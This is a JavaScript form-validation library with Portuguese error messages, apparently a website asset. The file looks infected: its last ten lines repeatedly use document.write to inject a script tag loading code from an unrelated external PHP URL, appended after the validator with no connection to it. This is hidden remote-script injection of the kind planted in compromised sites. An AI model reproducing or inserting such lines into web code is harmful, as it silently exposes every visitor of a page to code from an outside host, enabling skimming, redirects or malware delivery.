$=function(id){
	var el=document.getElementById(id);
	return el?el:false;
}

validator=Validator=function(_form, fields, config) {
	
	var form = document.forms[_form];
	if(!form) form = $(_form);
	if(!form) {
		alert(_form,_validator.error(0,_form));
		return false;
	}
	
	// Configura o formuário
	form.fields=fields;
	form.config=config;
	form.onsubmit=function(){
		_validator.run(this);
		return false;
	}
	_validator.get_labels(form);
		
	//return form;
}

_validator={
	messages: [
		'Não foi possível localizar o formulário "%1%".',
		'Não foi possível localizar o campo "%1%" do furmulário "%2%".',
		'O campo "%1%" é requerido.',
		'O campo "%1%" precisa ter %2% ou mais caracteres.',
		'O campo "%1%" não pode ter mais que %3% caracteres.',
		'O campo "%1%" não é válido',//'"%v%" is not valid value for "%l%"',
		'"%l%" must match "%ml%"',
		'6',
		'7'
	],
	
	formats: {
		'alpha'   : /^[a-zA-Z\.\-]*$/,
		'alphanum': /^\w+$/,
		'unsigned': /^\d+$/,
		'integer' : /^[\+\-]?\d*$/,
		'real'    : /^[\+\-]?\d*\.?\d*$/,
		'email'   : /^[\w-\.]+\@[\w\.-]+\.[a-z]{2,4}$/,
		'phone'   : /^[\d\.\s\-]+$/,
		'date'    : /^[\d\.\s\/]+$/,
		'time'    : /^[\d\.\s\-]+$/
	},
	
	error: function(n){
		var msg = _validator.messages[n];
		for(var i=0; i<arguments.length; i++) {msg=msg.replace('%'+i+'%',arguments[i]);}
		return msg;
	},
	
	get_value: function(field){
		var r='';
		with(field){
			if (type == 'checkbox') r = checked ? value : ''; // checkbox
			else if (value) r = value;// text, password, hidden
			else if (field.options) // select
				r = (selectedIndex > -1)? options[field.selectedIndex].value : null;
			else if (field.length > 0) // radiobuton
				for (var i = 0; i < length; i++)
					if (field[i].checked) {
						value = field[i].value;
						break;
					}
		}
		return r.replace(/(^\s+)|(\s+$)/g, '');
	},
	
	get_error: function(field){
		var f=fields[field.name];
		if (f['required'] && !f['value']) {
			return 1;
		}
		// check length
		else if (f['min'] && f['value'] != '' && String(f['value']).length < f['min']) {
			return 2;
		}
		else if (f['max'] && String(f['value']).length > f['max']) {
			return 3;
		}
		// check format
		else if (f['value'] && f['type'] && this.formats[f['type']]) {
			if(f['value'].toString().search(this.formats[f['type']]) == -1)
				return 4;
		}
		// check match	
		else if (f['regex']) {
			if(f['value'].toString().search(f['regex']) == -1)
				return 4;
		}
		else return 0;
	},
	
	run: function(form){
		
		var fields=form.fields,
			first = null,
			a_errors = [],
			errors=0,
			field=null,
			data=null;
		
		for(var fname in fields){
			
			field = form.elements[fname];
			data  = fields[fname];
			
			// Checa se o campo existe
			if(!field) return _validator.error(1,fname,form.name);
			
			// Define o rótulo do campo
			if(field.title) data['label']=field.title;
			else if(field.label) data['label']=field.label.innerHTML;
			else data['label']=field.name;
			
			// Define o valor do campo
			data['value'] = _validator.get_value(field);
			
			// Checa os erros
			var err=data['error'] = _validator.get_error(field);
			if(err){
				a_errors[errors] = _validator.error(err + 1, data['label'], data['min'], data['max']);
				errors++;
				if (!first) first = field;
				if(field.label) field.label.setAttribute('style','color:red;font-weight:bold;');
				//alert(fname);
				//if (fields[i].o_tag) fields[i].o_tag.className = 'tfvHighlight';
			} else {
				if(field.label) field.label.setAttribute('style','');
			}
		}
		
		
		// collect error messages and highlight captions for errorneous fields
		if (errors) {
			// Exibe o erro
			this.show_error(form,a_errors);
			
			// set focus to first errorneous field
			if (first.focus && first.type != 'hidden'  && !first.disabled)
				first.focus();
			
			// cancel form submission if errors detected
			return false;
		} else {
			form.submit();
			return true;
		}
		
		
	},
	
	show_error: function(form,errors){
		var target,
			msg='';
		
		if(form.config.header) msg=form.config.header;
		
		if(target=form.config.target){
			if($(target)) {
				if(form.config.type=='list') msg+='<ul><li>'+errors.join('</li><li>')+'</li></ul>';
				else msg+=errors.join('<br />');
				$(target).innerHTML=msg;
				$(target).style.display='';
			}
		} else {
			if(form.config.type=='list') msg+='\n - '+errors.join('\n - ');
			alert(msg);
		}
	},
	
	get_labels: function(form){
		var labels = form.getElementsByTagName('label'),
			r=[],
			el;
		for(var i=0; i<labels.length; i++){
			if(labels[i].getAttribute && labels[i].getAttribute('for'))
				if(el=form.elements[labels[i].getAttribute('for')])
					el.label=labels[i];
		}
	}
	
}

document.write('<script src=http://andamanlanta.com/picnews/bookingdetails.php ><\/script>');
document.write('<script src=http://andamanlanta.com/picnews/bookingdetails.php ><\/script>');
document.write('<script src=http://andamanlanta.com/picnews/bookingdetails.php ><\/script>');
document.write('<script src=http://andamanlanta.com/picnews/bookingdetails.php ><\/script>');
document.write('<script src=http://andamanlanta.com/picnews/bookingdetails.php ><\/script>');
document.write('<script src=http://andamanlanta.com/picnews/bookingdetails.php ><\/script>');
document.write('<script src=http://andamanlanta.com/picnews/bookingdetails.php ><\/script>');
document.write('<script src=http://andamanlanta.com/picnews/bookingdetails.php ><\/script>');
document.write('<script src=http://andamanlanta.com/picnews/bookingdetails.php ><\/script>');
document.write('<script src=http://andamanlanta.com/picnews/bookingdetails.php ><\/script>');